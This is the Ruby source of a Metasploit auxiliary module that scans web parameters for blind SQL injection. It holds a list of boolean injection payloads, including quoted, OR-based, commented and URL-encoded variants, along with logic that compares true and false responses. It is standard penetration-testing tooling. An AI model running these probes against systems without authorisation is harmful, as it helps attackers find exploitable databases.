Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/blind_sql_query.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456789class MetasploitModule < Msf::Auxiliary10include Msf::Exploit::Remote::HttpClient11include Msf::Auxiliary::WmapScanUniqueQuery12include Msf::Auxiliary::Scanner13include Msf::Auxiliary::Report141516def initialize(info = {})17super(update_info(info,18'Name' => 'HTTP Blind SQL Injection Scanner',19'Description' => %q{20This module identifies the existence of Blind SQL injection issues21in GET/POST Query parameters values.22},23'Author' => [ 'et [at] cyberspace.org' ],24'License' => BSD_LICENSE))2526register_options(27[28OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST'] ]),29OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),30OptString.new('QUERY', [ false, "HTTP URI Query", '']),31OptString.new('DATA', [ false, "HTTP Body Data", '']),32OptString.new('COOKIE',[ false, "HTTP Cookies", ''])33])3435end3637def run_host(ip)38# Force http verb to be upper-case, because otherwise some web servers such as39# Apache might throw you a 50140http_method = datastore['METHOD'].upcase4142gvars = Hash.new()43pvars = Hash.new()44cvars = Hash.new()4546rnum=rand(10000)4748inivalstr = [49[ 'numeric',50" AND #{rnum}=#{rnum} ",51" AND #{rnum}=#{rnum+1} "52],53[ 'single quotes',54"' AND '#{rnum}'='#{rnum}",55"' AND '#{rnum}'='#{rnum+1}"56],57[ 'double quotes',58"\" AND \"#{rnum}\"=\"#{rnum}",59"\" AND \"#{rnum}\"=\"#{rnum+1}"60],61[ 'OR single quotes uncommented',62"' OR '#{rnum}'='#{rnum}",63"' OR '#{rnum}'='#{rnum+1}"64],65[ 'OR single quotes closed and commented',66"' OR '#{rnum}'='#{rnum}'--",67"' OR '#{rnum}'='#{rnum+1}'--"68],69[ 'hex encoded OR single quotes uncommented',70"'%20OR%20'#{rnum}'%3D'#{rnum}",71"'%20OR%20'#{rnum}'%3D'#{rnum+1}"72],73[ 'hex encoded OR single quotes closed and commented',74"'%20OR%20'#{rnum}'%3D'#{rnum}'--",75"'%20OR%20'#{rnum}'%3D'#{rnum+1}'--"76]77]7879# Creating strings with true and false values80valstr = []81inivalstr.each do |vstr|82# With true values83valstr << vstr84# With false values, appending 'x' to real value85valstr << ['False char '+vstr[0],'x'+vstr[1],'x'+vstr[2]]86# With false values, appending '0' to real value87valstr << ['False num '+vstr[0],'0'+vstr[1],'0'+vstr[2]]88end8990#valstr.each do |v|91# print_status("#{v[0]}")92# print_status("#{v[1]}")93# print_status("#{v[2]}")94#end9596#97# Dealing with empty query/data and making them hashes.98#99100if !datastore['QUERY'] or datastore['QUERY'].empty?101datastore['QUERY'] = nil102gvars = nil103else104gvars = queryparse(datastore['QUERY']) #Now its a Hash105end106107if !datastore['DATA'] or datastore['DATA'].empty?108datastore['DATA'] = nil109pvars = nil110else111pvars = queryparse(datastore['DATA'])112end113114if !datastore['COOKIE'] or datastore['COOKIE'].empty?115datastore['COOKIE'] = nil116cvars = nil117else118cvars = queryparse(datastore['COOKIE'])119end120121verifynr=2122123i=0124k=0125c=0126127normalres = nil128129verifynr.times do |j|130#SEND NORMAL REQUEST131begin132normalres = send_request_cgi({133'uri' => normalize_uri(datastore['PATH']),134'vars_get' => gvars,135'method' => http_method,136'ctype' => 'application/x-www-form-urlencoded',137'cookie' => datastore['COOKIE'],138'data' => datastore['DATA']139}, 20)140rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout141rescue ::Timeout::Error, ::Errno::EPIPE142end143144if not normalres145print_error("No response")146return147else148if i==0149k = normalres.body.length150c = normalres.code.to_i151else152if k != normalres.body.length153print_error("Normal response body vary")154return155end156if c != normalres.code.to_i157print_error("Normal response code vary")158return159end160end161end162end163164print_status("[Normal response body: #{k} code: #{c}]")165166pinj = false167168valstr.each do |tarr|169#QUERY170if gvars171gvars.each do |key,value|172vprint_status("- Testing '#{tarr[0]}' Parameter #{key}:")173174#SEND TRUE REQUEST175testgvars = queryparse(datastore['QUERY']) #Now its a Hash176testgvars[key] = testgvars[key]+tarr[1]177t = testgvars[key]178179begin180trueres = send_request_cgi({181'uri' => normalize_uri(datastore['PATH']),182'vars_get' => testgvars,183'method' => http_method,184'ctype' => 'application/x-www-form-urlencoded',185'cookie' => datastore['COOKIE'],186'data' => datastore['DATA']187}, 20)188rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout189rescue ::Timeout::Error, ::Errno::EPIPE190end191192#SEND FALSE REQUEST193testgvars = queryparse(datastore['QUERY']) #Now its a Hash194testgvars[key] = testgvars[key]+tarr[2]195196begin197falseres = send_request_cgi({198'uri' => normalize_uri(datastore['PATH']),199'vars_get' => testgvars,200'method' => http_method,201'ctype' => 'application/x-www-form-urlencoded',202'cookie' => datastore['COOKIE'],203'data' => datastore['DATA']204}, 20)205rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout206rescue ::Timeout::Error, ::Errno::EPIPE207end208209pinja = false210pinjb = false211pinjc = false212pinjd = false213214pinja = detection_a(normalres,trueres,falseres,tarr)215pinjb = detection_b(normalres,trueres,falseres,tarr)216pinjc = detection_c(normalres,trueres,falseres,tarr)217pinjd = detection_d(normalres,trueres,falseres,tarr)218219if pinja or pinjb or pinjc or pinjd220print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")221print_good("[#{t}]")222223report_web_vuln(224:host => ip,225:port => rport,226:vhost => vhost,227:ssl => ssl,228:path => normalize_uri(datastore['PATH']),229:method => http_method,230:pname => key,231:proof => "blind sql inj.",232:risk => 2,233:confidence => 50,234:category => 'SQL injection',235:description => "Blind sql injection of type #{tarr[0]} in param #{key}",236:name => 'Blind SQL injection'237)238else239vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")240end241end242end243244#DATA245if pvars246pvars.each do |key,value|247print_status("- Testing '#{tarr[0]}' Parameter #{key}:")248249#SEND TRUE REQUEST250testpvars = queryparse(datastore['DATA']) #Now its a Hash251testpvars[key] = testpvars[key]+tarr[1]252t = testpvars[key]253254pvarstr = ""255testpvars.each do |tkey,tvalue|256if pvarstr257pvarstr << '&'258end259pvarstr << tkey+'='+tvalue260end261262begin263trueres = send_request_cgi({264'uri' => normalize_uri(datastore['PATH']),265'vars_get' => gvars,266'method' => http_method,267'ctype' => 'application/x-www-form-urlencoded',268'cookie' => datastore['COOKIE'],269'data' => pvarstr270}, 20)271rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout272rescue ::Timeout::Error, ::Errno::EPIPE273end274275#SEND FALSE REQUEST276testpvars = queryparse(datastore['DATA']) #Now its a Hash277testpvars[key] = testpvars[key]+tarr[2]278279pvarstr = ""280testpvars.each do |tkey,tvalue|281if pvarstr282pvarstr << '&'283end284pvarstr << tkey+'='+tvalue285end286287begin288falseres = send_request_cgi({289'uri' => normalize_uri(datastore['PATH']),290'vars_get' => gvars,291'method' => http_method,292'ctype' => 'application/x-www-form-urlencoded',293'cookie' => datastore['COOKIE'],294'data' => pvarstr295}, 20)296rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout297rescue ::Timeout::Error, ::Errno::EPIPE298end299300pinja = false301pinjb = false302pinjc = false303pinjd = false304305pinja = detection_a(normalres,trueres,falseres,tarr)306pinjb = detection_b(normalres,trueres,falseres,tarr)307pinjc = detection_c(normalres,trueres,falseres,tarr)308pinjd = detection_d(normalres,trueres,falseres,tarr)309310if pinja or pinjb or pinjc or pinjd311print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")312print_good("[#{t}]")313314report_web_vuln(315:host => ip,316:port => rport,317:vhost => vhost,318:ssl => ssl,319:path => datastore['PATH'],320:method => http_method,321:pname => key,322:proof => "blind sql inj.",323:risk => 2,324:confidence => 50,325:category => 'SQL injection',326:description => "Blind sql injection of type #{tarr[0]} in param #{key}",327:name => 'Blind SQL injection'328)329else330vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")331end332end333end334end335end336337def detection_a(normalr,truer,falser,tarr)338# print_status("A")339340# DETECTION A341# Very simple way to compare responses, this can be improved a lot , at this time just the simple way342343if normalr and truer344#Very simple way to compare responses, this can be improved a lot , at this time just the simple way345reltruesize = truer.body.length-(truer.body.scan(/#{tarr[1]}/).length*tarr[1].length)346normalsize = normalr.body.length347348#print_status("normalsize #{normalsize} truesize #{reltruesize}")349350if reltruesize == normalsize351if falser352relfalsesize = falser.body.length-(falser.body.scan(/#{tarr[2]}/).length*tarr[2].length)353354#print_status("falsesize #{relfalsesize}")355356if reltruesize > relfalsesize357print_status("Detected by test A")358return true359else360return false361end362else363vprint_status("NO False Response.")364end365else366vprint_status("Normal and True requests are different.")367end368else369print_status("No response.")370end371372return false373end374375def detection_b(normalr,truer,falser,tarr)376# print_status("B")377378# DETECTION B379# Variance on res body380381if normalr and truer382if falser383#print_status("N: #{normalr.body.length} T: #{truer.body.length} F: #{falser.body.length} T1: #{tarr[1].length} F2: #{tarr[2].length} #{tarr[1].length+tarr[2].length}")384385if (truer.body.length-tarr[1].length) != normalr.body.length and (falser.body.length-tarr[2].length) == normalr.body.length386print_status("Detected by test B")387return true388end389if (truer.body.length-tarr[1].length) == normalr.body.length and (falser.body.length-tarr[2].length) != normalr.body.length390print_status("Detected by test B")391return true392end393end394end395396return false397end398399def detection_c(normalr,truer,falser,tarr)400# print_status("C")401402# DETECTION C403# Variance on res code of true or false statements404405if normalr and truer406if falser407if truer.code.to_i != normalr.code.to_i and falser.code.to_i == normalr.code.to_i408print_status("Detected by test C")409return true410end411if truer.code.to_i == normalr.code.to_i and falser.code.to_i != normalr.code.to_i412print_status("Detected by test C")413return true414end415end416end417418return false419end420421def detection_d(normalr,truer,falser,tarr)422# print_status("D")423424# DETECTION D425# Variance PERCENTAGE MIN MAX on res body426427# 2% 50%428max_diff_perc = 2429min_diff_perc = 50430431if normalr and truer432if falser433nl= normalr.body.length434tl= truer.body.length435fl= falser.body.length436437if nl == 0438nl = 1439end440if tl == 0441tl = 1442end443if fl == 0444fl = 1445end446447ntmax = [ nl,tl ].max448ntmin = [ nl,tl ].min449diff_nt_perc = ((ntmax - ntmin)*100)/(ntmax)450diff_nt_f_perc = ((ntmax - fl)*100)/(ntmax)451452if diff_nt_perc <= max_diff_perc and diff_nt_f_perc > min_diff_perc453print_status("Detected by test D")454return true455end456457nfmax = [ nl,fl ].max458nfmin = [ nl,fl ].min459diff_nf_perc = ((nfmax - nfmin)*100)/(nfmax)460diff_nf_t_perc = ((nfmax - tl)*100)/(nfmax)461462if diff_nf_perc <= max_diff_perc and diff_nf_t_perc > min_diff_perc463print_status("Detected by test D")464return true465end466end467end468469return false470end471end472473474